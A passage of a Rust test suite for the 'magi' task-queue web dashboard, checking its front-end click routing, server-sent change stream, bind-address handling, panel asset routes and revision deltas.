13895        assert!(
13896            !tokens.contains("allow-scripts"),
13897            "allow-scripts must never be present in sandbox"
13898        );
13899        assert!(
13900            !tokens.contains("allow-same-origin"),
13901            "allow-same-origin must never be present in sandbox"
13902        );
13903    }
13904
13905    #[test]
13906    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13907        // consumeQueueFocus() clears an active Backlog search before it can
13908        // scroll to the target card (the sections list is hidden while a
13909        // search is showing), by recursing back into renderQueue(). The
13910        // fixer's first cut nulled state.queueFocus before that recursive
13911        // call, so the second pass saw nothing to jump to and the jump was
13912        // silently dropped whenever a notification's link was opened with a
13913        // stale search still active. state.queueFocus must only be cleared
13914        // right before jumpToTask() actually runs.
13915        assert!(
13916            APP_JS.contains(
13917                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
13918            ),
13919            "the search-clearing branch must run before state.queueFocus is cleared, or the \
13920             recursive renderQueue() call has nothing left to jump to"
13921        );
13922        assert!(
13923            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13924            "state.queueFocus must be cleared only once the jump has landed, so a card that \
13925             arrives later still gets it"
13926        );
13927        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13928        assert!(APP_JS.contains("is not in the current Backlog."));
13929        assert!(APP_JS.contains("li.card[data-task-id=\""));
13930        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13931        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13932        assert!(APP_CSS.contains(".card-permalink"));
13933        assert!(APP_CSS.contains(".queue-focus-status"));
13934        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13935    }
13936
13937    #[test]
13938    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13939        // The task's own repro: only the link text inside .notice-meta was
13940        // clickable, so a tap on the message, the timestamp, or the card's
13941        // padding did nothing - on a phone that reads as "the card doesn't
13942        // work" even though the tiny link inside it did. Mark read / Dismiss
13943        // must keep working independently of this: `.closest("a, button")`
13944        // is what lets a tap that actually lands on those elements fall
13945        // through instead of being hijacked into a navigation.
13946        assert!(
13947            APP_JS.contains(
13948                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13949            ),
13950            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13951        );
13952    }
13953
13954    #[test]
13955    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13956        assert!(
13957            APP_JS.contains("round.verified_head !== round.head"),
13958            "a round that verified an earlier commit must be visibly distinct from one that \
13959             verified the head reviewers are looking at now"
13960        );
13961        assert!(
13962            APP_JS.contains("round.verified_at"),
13963            "when a check ran must be on the wire, not just which commit"
13964        );
13965        assert!(
13966            APP_JS.contains("resource_blocked"),
13967            "a command magi never got to run (shared build cache contention) must not render \
13968             the same as a command that ran and failed"
13969        );
13970    }
13971
13972    #[test]
13973    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13974        // Every KPI tile but Total runs and Completion names an exact
13975        // RunStatus and hands it to openRunsFiltered(), which is what wires
13976        // the click into state.runsFilter.status (matchesFilter's own
13977        // status check) rather than the coarser runsStateFilter chips. Each
13978        // status literal here must be one of the strings runSection() (and
13979        // isStale()) actually compare a run's own `status` field against -
13980        // a status this dashboard invented would filter to nothing.
13981        assert!(
13982            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13983            "every KPI tile built through statusTile() must route its click through \
13984             openRunsFiltered, the single place that sets the Runs filter"
13985        );
13986        for (label, status) in [
13987            ("Merged", "merged"),
13988            ("Ready", "ready"),
13989            ("Blocked", "blocked"),
13990            ("Stalled", "stalled"),
13991        ] {
13992            let call = format!("statusTile(\"{label}\", t.{status}, ");
13993            assert!(
13994                APP_JS.contains(&call),
13995                "expected the {label} KPI tile built via {call}..."
13996            );
13997            assert!(
13998                APP_JS.contains(&format!("status === \"{status}\"")),
13999                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
14000                 compare a run against, not one invented only for the stats tile"
14001            );
14002        }
14003        assert!(
14004            APP_JS.contains("function openRunsFiltered(status)"),
14005            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
14006        );
14007        assert!(
14008            APP_JS.contains(
14009                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
14010            ),
14011            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
14012        );
14013        // applyRoute() only flips which view is visible for a plain `#runs`
14014        // hash - it does not itself redraw the list (see applyRoute's own
14015        // handling below) - so openRunsFiltered must call renderRuns()
14016        // itself, and must call applyRoute() too so the view flips even
14017        // when the hash string doesn't change (the operator may already be
14018        // on the Runs view when a tile is tapped, which fires no
14019        // hashchange event at all).
14020        assert!(
14021            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
14022            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
14023             hashchange event that may never fire"
14024        );
14025    }
14026
14027    #[test]
14028    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
14029        // A stats tile can leave state.runsFilter.status set to something
14030        // done-by-construction (e.g. "merged") - picking "Active" afterward
14031        // must drop it the same way an incompatible tree section is already
14032        // dropped, or the Runs list renders permanently empty with no way
14033        // for the operator to tell why.
14034        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
14035        assert!(
14036            APP_JS.contains(
14037                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
14038            ),
14039            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
14040             guard for an incompatible tree section"
14041        );
14042    }
14043
14044    #[test]
14045    fn every_stats_queue_tile_names_a_real_queue_section() {
14046        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
14047        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
14048        // (consumeQueueSectionFocus finds no matching <details> and drops
14049        // the focus) rather than fail loudly, so pin every key against the
14050        // section list it has to resolve against.
14051        assert!(
14052            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
14053            "every queue tile built through sectionTile() must route its click through \
14054             openQueueSectionFocus"
14055        );
14056        for key in ["upnext", "running", "done", "held", "blocked"] {
14057            assert!(
14058                APP_JS.contains(&format!("{{ key: \"{key}\",")),
14059                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
14060            );
14061        }
14062        // Queued and Failed intentionally both resolve to "upnext" - the
14063        // same section queueSection() itself files them under - rather than
14064        // getting a section each.
14065        for line in [
14066            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
14067            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
14068            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
14069            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
14070            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
14071            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
14072        ] {
14073            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
14074        }
14075    }
14076
14077    #[test]
14078    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
14079        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
14080        // above for the section-focus channel a stats queue tile drives:
14081        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
14082        // through the stale-search-clear recursion into renderQueue(), and
14083        // clear it only once revealQueueSection() is actually about to run -
14084        // the same trap that once silently dropped a task-focus jump.
14085        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
14086        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
14087        assert!(APP_JS.contains("function revealQueueSection(details)"));
14088        assert!(
14089            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
14090            "renderQueue() must consume both focus channels on every pass"
14091        );
14092        assert!(
14093            APP_JS.contains(
14094                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
14095            ),
14096            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
14097             the recursive renderQueue() call has nothing left to reveal"
14098        );
14099        assert!(
14100            APP_JS.contains(
14101                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
14102            ),
14103            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
14104        );
14105        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
14106        // task-focus form of the hash - a plain `#queue` navigation only
14107        // flips which view is visible. openQueueSectionFocus() must
14108        // therefore call renderQueue() itself, and applyRoute() too so the
14109        // view flips even when the hash doesn't change (the Backlog may
14110        // already be open when a tile is tapped, firing no hashchange
14111        // event at all).
14112        assert!(
14113            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
14114            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
14115             hashchange event that may never fire"
14116        );
14117    }
14118
14119    #[tokio::test]
14120    async fn the_change_stream_announces_the_current_revisions_on_connect() {
14121        let f = Fixture::start().await;
14122
14123        let mut socket = tokio::net::TcpStream::connect(f.addr)
14124            .await
14125            .expect("connect");
14126        socket
14127            .write_all(
14128                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
14129            )
14130            .await
14131            .expect("write request");
14132
14133        // Read until the first event arrives rather than to end of stream: the
14134        // stream is endless by design, which is the point of the route.
14135        let mut seen = String::new();
14136        let mut buf = [0u8; 1024];
14137        while !seen.contains("event: change") {
14138            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
14139                .await
14140                .expect("the stream must speak within five seconds")
14141                .expect("read");
14142            assert!(read > 0, "the server closed the change stream: {seen}");
14143            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
14144        }
14145
14146        assert!(
14147            seen.to_lowercase()
14148                .contains("content-type: text/event-stream"),
14149            "the browser only reconnects automatically for a real SSE stream: {seen}"
14150        );
14151        let data = seen
14152            .lines()
14153            .find_map(|l| l.strip_prefix("data:"))
14154            .expect("a data line");
14155        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
14156        assert!(
14157            payload["queue_rev"].is_u64()
14158                && payload["runs_rev"].is_u64()
14159                && payload["questions_rev"].is_u64()
14160                && payload["talks_rev"].is_u64()
14161                && payload["notifications_rev"].is_u64()
14162                && payload["loop_rev"].is_u64(),
14163            "the client needs one revision per store to know what to refetch, \
14164             and `talks_rev` is the only notification a standing talk gets - a \
14165             phone whose radio slept through a turn learns about it here, as \
14166             does one whose operator started the loop from another device: \
14167             {payload}"
14168        );
14169
14170        // The front end re-polls health on a timer and on wake, and takes the
14171        // revisions from that answer whenever the stream is not up. So health
14172        // has to carry every key the stream carries: a phone on a link that
14173        // will not hold an SSE connection is exactly the phone that must still
14174        // notice a question, and a missing key there is not a 500 but a UI
14175        // that quietly stops updating.
14176        let health = f.get("/api/health").await.json();
14177        for key in [
14178            "queue_rev",
14179            "runs_rev",
14180            "questions_rev",
14181            "talks_rev",
14182            "notifications_rev",
14183            "loop_rev",
14184        ] {
14185            assert!(
14186                health[key].is_u64(),
14187                "health is the change stream's fallback and is missing `{key}`: {health}"
14188            );
14189        }
14190    }
14191
14192    #[tokio::test]
14193    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
14194        let f = Fixture::start().await;
14195        let before = f.get("/api/health").await.json()["talks_rev"]
14196            .as_u64()
14197            .expect("talks_rev");
14198
14199        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
14200        std::thread::sleep(Duration::from_millis(10));
14201        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
14202        on_disk.turns.push(crate::talk::Turn {
14203            breaks: Some(Vec::new()),
14204            posted_by: None,
14205            who: crate::talk::Who::Operator,
14206            body: "a new turn".to_owned(),
14207            at: Timestamp::now(),
14208            attachments: Vec::new(),
14209            usage: None,
14210        });
14211        f.talks().put(&mut on_disk).expect("record a turn");
14212
14213        let after = f.get("/api/health").await.json()["talks_rev"]
14214            .as_u64()
14215            .expect("talks_rev");
14216        assert_ne!(
14217            before, after,
14218            "a phone must be able to notice a talk's reply without polling every store"
14219        );
14220    }
14221
14222    #[test]
14223    fn bind_reads_back_from_the_spelling_the_cli_prints() {
14224        // The CLI shows the default in `--help` and parses whatever comes
14225        // back, so the two directions have to agree or `--bind auto` breaks
14226        // the moment someone copies the help text.
14227        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
14228            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
14229        }
14230        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
14231        assert!("everywhere".parse::<Bind>().is_err());
14232    }
14233
14234    #[test]
14235    fn an_explicit_bind_address_is_taken_verbatim() {
14236        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
14237
14238        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
14239
14240        assert_eq!(addr, asked);
14241        assert!(
14242            warning.is_none(),
14243            "an operator who named an address gets no lecture"
14244        );
14245    }
14246
14247    #[test]
14248    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
14249        let (addr, warning) = resolve_bind(&Bind::Auto);
14250
14251        // This has to hold on a CI runner with no `tailscale` and on a dev box
14252        // with one, so the invariant asserted is the one shared by both
14253        // outcomes: the address is either a real tailnet address offered
14254        // without comment, or loopback with an explanation. What must never
14255        // happen is a silent fallback - an operator told "listening on
14256        // 127.0.0.1" with no reason would go looking for a firewall.
14257        match addr {
14258            IpAddr::V4(ip) if is_tailnet(&ip) => {
14259                assert!(warning.is_none(), "a tailnet address needs no warning");
14260            }
14261            other => {
14262                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
14263                let warning = warning.expect("a fallback has to explain itself");
14264                assert!(
14265                    warning.contains("127.0.0.1") && warning.contains("local-only"),
14266                    "the warning says what happened and what it costs: {warning}"
14267                );
14268            }
14269        }
14270    }
14271
14272    #[test]
14273    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
14274        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
14275        // boundary cases are what stop us binding to some other tool's idea of
14276        // an address.
14277        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
14278        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
14279        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
14280        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
14281        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
14282    }
14283
14284    #[test]
14285    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
14286        let ids = vec![
14287            "20260902-140501-aaaa".to_owned(),
14288            "20260902-140502-aabb".to_owned(),
14289        ];
14290
14291        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
14292        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
14293        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
14294
14295        assert_eq!(missing.status, StatusCode::NOT_FOUND);
14296        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
14297        assert_eq!(short, "20260902-140502-aabb");
14298    }
14299    #[tokio::test]
14300    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
14301        // The prompt tells agents to reference attachments by bare filename.
14302        // A document served at `.../panel` resolves `shot.png` against its own
14303        // directory, i.e. `.../shot.png`, which is not the asset route - so a
14304        // panel written exactly as instructed showed broken images. Caught by
14305        // looking at a real one in a browser, not by reading the code.
14306        let fx = Fixture::start().await;
14307        let id = panel(
14308            &fx,
14309            "<img src=\"shot.png\">",
14310            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
14311        );
14312
14313        // The frame's own URL ends in a filename, so its siblings are reachable.
14314        let doc = fx
14315            .get(&format!("/api/questions/{id}/panel/index.html"))
14316            .await;
14317        assert_eq!(doc.status, 200, "{}", doc.body);
14318        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
14319
14320        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
14321        assert_eq!(sibling.status, 200, "{}", sibling.body);
14322        assert_eq!(sibling.header("content-type"), Some("image/png"));
14323        assert_eq!(
14324            sibling.header("content-security-policy"),
14325            Some(PANEL_CSP),
14326            "the sibling route must carry the same policy as the asset route"
14327        );
14328
14329        // The original spelling keeps working: HEAD on it is how the front end
14330        // decides whether to mount a frame at all.
14331        assert_eq!(
14332            fx.head(&format!("/api/questions/{id}/panel")).await.status,
14333            200
14334        );
14335    }
14336
14337    #[test]
14338    fn delta_stamps_cover_add_update_remove_and_noop() {
14339        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
14340        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
14341        let delta = diff_stamps(&before, &after, 42);
14342        assert_eq!(delta.base, 42);
14343        assert_eq!(delta.changed, ["b", "c"]);
14344        assert_eq!(delta.removed, ["a"]);
14345        let same = diff_stamps(&after, &after, 43);
14346        assert!(same.changed.is_empty() && same.removed.is_empty());
14347        assert_ne!(stamps_revision(&before), stamps_revision(&after));
14348        let nanos: Stamps = [("b".into(), (2, 20))].into();
14349        let same_ms: Stamps = [("b".into(), (3, 20))].into();
14350        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
14351        assert_eq!(stamps_revision(&Stamps::new()), 0);
14352    }
14353
14354    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
14355        std::fs::create_dir_all(home.join("runs")).unwrap();
14356        Arc::new(Ui::new(
14357            Queue::at(home.join("queue")),
14358            Questions::at(home.join("questions")),
14359            Talks::at(home.join("talks")),
14360            home.join("runs"),
14361            home.to_owned(),
14362            PathBuf::from("/repo/magi"),
14363        ))
14364    }
14365
14366    #[tokio::test]
14367    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
14368        let home = TempDir::new().unwrap();
14369        let ui = delta_test_ui(home.path());
14370        let mut task = Task::new(
14371            "stream task".into(),
14372            "text".into(),
14373            PathBuf::from("/repo"),
14374            Source::Human,
14375        );
14376        ui.queue.put(&mut task).unwrap();
14377        let response = events(State(ui.clone())).await.into_response();
14378        let mut stream = response.into_body().into_data_stream();
14379        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
14380            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
14381                .await
14382                .unwrap()
14383                .unwrap()
14384                .unwrap();
14385            let text = String::from_utf8(chunk.to_vec()).unwrap();
14386            let data = text
14387                .lines()
14388                .find_map(|line| {
14389                    line.strip_prefix("data: ")
14390                        .or_else(|| line.strip_prefix("data:"))
14391                })
14392                .unwrap();
14393            serde_json::from_str(data).unwrap()
14394        }
14395        let initial = change(&mut stream).await;
14396        assert!(initial.get("queue_delta").is_none());
14397        task.instruction.push_str(" changed");
14398        ui.queue.put(&mut task).unwrap();
14399        let updated = change(&mut stream).await;
14400        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
14401        assert_eq!(
14402            updated["queue_delta"]["changed"],
14403            serde_json::json!([task.id])
14404        );
14405        assert_eq!(
14406            updated["queue_rev"].as_u64(),
14407            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
14408        );
14409        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
14410        let removed = change(&mut stream).await;
14411        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
14412        assert_eq!(
14413            removed["queue_delta"]["removed"],
14414            serde_json::json!([task.id])
14415        );
14416    }
14417
14418    #[tokio::test]
14419    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
14420        let home = TempDir::new().unwrap();
14421        let ui = delta_test_ui(home.path());
14422        let queue = ui.queue.clone();
14423        let query = |ids: Option<&str>| {
14424            Query(ListQuery {
14425                limit: Some(2),
14426                ids: ids.map(str::to_owned),
14427            })
14428        };
14429        let mut root = Task::new(
14430            "root".into(),
14431            "instruction".into(),
14432            PathBuf::from("/repo"),
14433            Source::Human,
14434        );
14435        queue.put(&mut root).unwrap();
14436        let mut blocked = Task::new(
14437            "blocked".into(),
14438            "instruction".into(),
14439            PathBuf::from("/repo"),
14440            Source::Human,
14441        );
14442        blocked.block(vec![root.id.clone()], None);
14443        queue.put(&mut blocked).unwrap();
14444        let whole =
14445            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
14446                .unwrap();
14447        let subset = serde_json::to_value(
14448            queue_list(State(ui.clone()), query(Some(&root.id)))
14449                .await
14450                .unwrap()
14451                .0,
14452        )
14453        .unwrap();
14454        assert_eq!(whole, subset, "requested root plus its blocked dependent");
14455        let blockers = serde_json::to_value(
14456            queue_list(State(ui.clone()), query(Some("")))
14457                .await
14458                .unwrap()
14459                .0,
14460        )
14461        .unwrap();
14462        assert_eq!(blockers.as_array().unwrap().len(), 1);
14463        assert_eq!(blockers[0]["id"], blocked.id);
14464        assert_eq!(
14465            blockers[0]["waits_on"],
14466            whole
14467                .as_array()
14468                .unwrap()
14469                .iter()
14470                .find(|row| row["id"] == blocked.id)
14471                .unwrap()["waits_on"]
14472        );
14473
14474        for id in [
14475            "20260902-140501-aaaa",
14476            "20260902-140502-bbbb",
14477            "20260902-140503-cccc",
14478        ] {
14479            write_run(&ui.runs, id, RunStatus::Merged);
14480        }
14481        let old = serde_json::to_value(
14482            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14483                .await
14484                .unwrap()
14485                .0,
14486        )
14487        .unwrap();
14488        assert!(
14489            old.as_array().unwrap().is_empty(),
14490            "older updates must not enter the window"
14491        );
14492        let newest = serde_json::to_value(
14493            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14494                .await
14495                .unwrap()
14496                .0,
14497        )
14498        .unwrap();
14499        assert_eq!(newest.as_array().unwrap().len(), 1);
14500        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14501
14502        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
14503        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14504        let talks = serde_json::to_value(
14505            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14506                .await
14507                .unwrap()
14508                .0,
14509        )
14510        .unwrap();
14511        assert_eq!(talks.as_array().unwrap().len(), 1);
14512        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14513        assert_eq!(
14514            serde_json::to_value(
14515                talks_list(State(ui.clone()), query(Some("")))
14516                    .await
14517                    .unwrap()
14518                    .0
14519            )
14520            .unwrap(),
14521            serde_json::json!([])
14522        );
14523    }
14524
14525    #[tokio::test]
14526    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14527    async fn delta_payload_benchmark() {
14528        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14529        let ui = delta_test_ui(&home);
14530        let query = |ids: Option<String>| {
14531            Query(ListQuery {
14532                limit: Some(50),
14533                ids,
14534            })
14535        };
14536        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14537        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14538        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14539        let queue_id = queue
14540            .iter()
14541            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14542            .unwrap_or(&queue[0])
14543            .task
14544            .id
14545            .clone();
14546        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14547            .await
14548            .unwrap()
14549            .0;
14550        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14551            .await
14552            .unwrap()
14553            .0;
14554        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14555            .await
14556            .unwrap()
14557            .0;
14558        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14559        eprintln!(
14560            "DELTA_PAYLOAD {}",
14561            serde_json::json!({
14562                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14563                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14564                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14565                "counts": [queue.len(), runs.len(), talks.len()],
14566                "blocked": queue_delta.len() - 1,
14567            })
14568        );
14569    }
14570
14571    #[test]
14572    fn runs_revision_moves_when_deleting_an_older_run() {
14573        let temp = TempDir::new().expect("tempdir");
14574        let runs = temp.path().join("runs");
14575        std::fs::create_dir_all(&runs).expect("create runs dir");
14576
14577        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14578
14579        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14580        std::thread::sleep(Duration::from_millis(10));
14581        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14582
14583        let rev_before = runs_revision(&runs);
14584        assert!(rev_before > 0);
14585
14586        let old_dir = runs.join("20260901-100000-old1");
14587        std::fs::remove_dir_all(&old_dir).expect("remove old run");
14588
14589        let rev_after = runs_revision(&runs);
14590        assert_ne!(
14591            rev_before, rev_after,
14592            "deleting an older run must change the revision so other clients see the deletion"
14593        );
14594    }
14595
14596    /// A run's own `run.json` on an explicit `runs` root, bypassing the
14597    /// process-global home entirely — `RunState::save` writes through
14598    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
14599    /// (see `tests::home_lock` in the integration suite for why).
14600    fn write_state(runs: &FsPath, state: &RunState) {
14601        let dir = runs.join(&state.id);
14602        std::fs::create_dir_all(&dir).expect("run dir");
14603        std::fs::write(
14604            dir.join("run.json"),
14605            serde_json::to_string_pretty(state).expect("serialize run"),
14606        )
14607        .expect("write run.json");
14608    }
14609
14610    /// A seat starting or finishing is a write to `run.json` like any other,
14611    /// so it moves the same revision the change stream already watches —
14612    /// nothing new for `/api/events` to learn, but the property this feature
14613    /// depends on to reach the phone without a poll.
14614    #[test]
14615    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14616        let temp = TempDir::new().expect("tempdir");
14617        let runs = temp.path().join("runs");
14618        std::fs::create_dir_all(&runs).expect("create runs dir");
14619        let mut state = RunState::new(
14620            PathBuf::from("/repo/magi"),
14621            "main".to_owned(),
14622            "0123456789abcdef".to_owned(),
14623            "task".to_owned(),
14624            Config::default(),
14625        );
14626        state.id = "20260902-100000-c0de".to_owned();
14627        write_state(&runs, &state);
14628
14629        let rev_idle = runs_revision(&runs);
14630        std::thread::sleep(Duration::from_millis(10));
14631        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14632        write_state(&runs, &state);
14633        let rev_started = runs_revision(&runs);
14634        assert_ne!(
14635            rev_idle, rev_started,
14636            "a seat starting must move the revision"
14637        );
14638
14639        std::thread::sleep(Duration::from_millis(10));
14640        state.seat_finished("judge-1");
14641        write_state(&runs, &state);
14642        let rev_finished = runs_revision(&runs);
14643        assert_ne!(
14644            rev_started, rev_finished,
14645            "and clearing it again must move the revision a second time"
14646        );
14647    }
14648
14649    #[tokio::test]
14650    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14651        // `TaskView` flattens `Task`, so this is really asserting that
14652        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
14653        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
14654        // never touched web.rs, so nothing here caught it if it had.
14655        let fx = Fixture::start().await;
14656        let q = fx.queue();
14657
14658        let mut t = Task::new(
14659            "Task".to_owned(),
14660            "Instruction".to_owned(),
14661            PathBuf::from("/repo"),
14662            Source::Human,
14663        );
14664        t.block(
14665            vec!["20260101-000000-dead".to_owned()],
14666            Some("waiting on Task 1".to_owned()),
14667        );
14668        t.answers.push(crate::queue::AnsweredQuestion {
14669            question: "Which backend?".to_owned(),
14670            answer: "SQLite".to_owned(),
14671        });
14672        q.put(&mut t).expect("put t");
14673
14674        let res = fx.get("/api/queue").await;
14675        assert_eq!(res.status, 200);
14676        let list = res.json();
14677        let view = list
14678            .as_array()
14679            .expect("array")
14680            .iter()
14681            .find(|v| v["id"] == t.id)
14682            .expect("task in list");
14683        assert_eq!(view["status_str"], "blocked");
14684        assert_eq!(
14685            view["blocked_by"],
14686            serde_json::json!(["20260101-000000-dead"])
14687        );
14688        assert_eq!(view["block_reason"], "waiting on Task 1");
14689        assert_eq!(view["answers"][0]["question"], "Which backend?");
14690        assert_eq!(view["answers"][0]["answer"], "SQLite");
14691
14692        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
14693        // but never `answers` - that is a settled decision, not state
14694        // describing the current block, so it survives.
14695        let res = fx
14696            .post(&format!("/api/queue/{}/hold", t.short()), None)
14697            .await;
14698        assert_eq!(res.status, 200);
14699        let held = res.json();
14700        assert_eq!(held["status_str"], "held");
14701        assert_eq!(held["blocked_by"], serde_json::json!([]));
14702        assert!(held["block_reason"].is_null());
14703        assert_eq!(held["answers"][0]["answer"], "SQLite");
14704    }
14705
14706    #[tokio::test]
14707    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14708        let fx = Fixture::start().await;
14709        let q = fx.queue();
14710        let mk = |title: &str| {
14711            Task::new(
14712                title.to_owned(),
14713                "Instruction".to_owned(),
14714                PathBuf::from("/repo"),
14715                Source::Human,
14716            )
14717        };
14718        let mut root = mk("root");
14719        root.hold_manual(Some("waiting".to_owned()));
14720        q.put(&mut root).unwrap();
